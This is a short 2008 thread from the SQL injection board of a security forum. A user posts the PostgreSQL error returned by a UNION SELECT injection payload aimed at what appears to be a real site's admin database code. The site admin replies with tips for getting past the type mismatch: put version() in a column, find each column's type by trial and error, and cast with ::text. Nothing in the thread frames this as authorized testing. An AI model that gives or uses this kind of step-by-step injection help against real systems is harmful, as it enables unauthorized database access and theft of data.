|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
UNION types |
|
Posted: Fri Mar 07, 2008 10:19 am |
|
|
julioisaias |
Valuable expert |
|
|
Joined: Jan 25, 2008 |
Posts: 50 |
|
|
|
|
|
|
|
I have a problem with "types"
Warning: pg_exec(): Query failed: ERROR: UNION types text and integer cannot be matched in /var/www/site/admin/php/db_pgsql.inc on line 75
Database error: Invalid SQL: SELECT * FROM doc_reference WHERE doc_ref_cod = -2 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
PostgreSQL Error: 1 (ERROR: UNION types text and integer cannot be matched)
Session halted.
Code: | union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 |
"UNION types text and integer cannot be matched"
Since I solve it?
Best Regards |
|
_________________ I study enough to make the rest a result. |
|
|
|
|
|
|
|
Posted: Fri Mar 07, 2008 11:42 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
PostgreSql is bit*hing about data types ...
Try to substitute some numbers with version(), like:
Code: |
union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,version()
|
You must find (via trial and error) exactly what columns need which data type. And of course, there is casting possibility:
,14,15,16::text,17,18 |
|
|
|
|
Posted: Fri Mar 07, 2008 2:04 pm |
|
|
julioisaias |
Valuable expert |
|
|
Joined: Jan 25, 2008 |
Posts: 50 |
|
|
|
|
|
|
|
thanks waraxe!
thanks..
best regards |
|
_________________ I study enough to make the rest a result. |
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|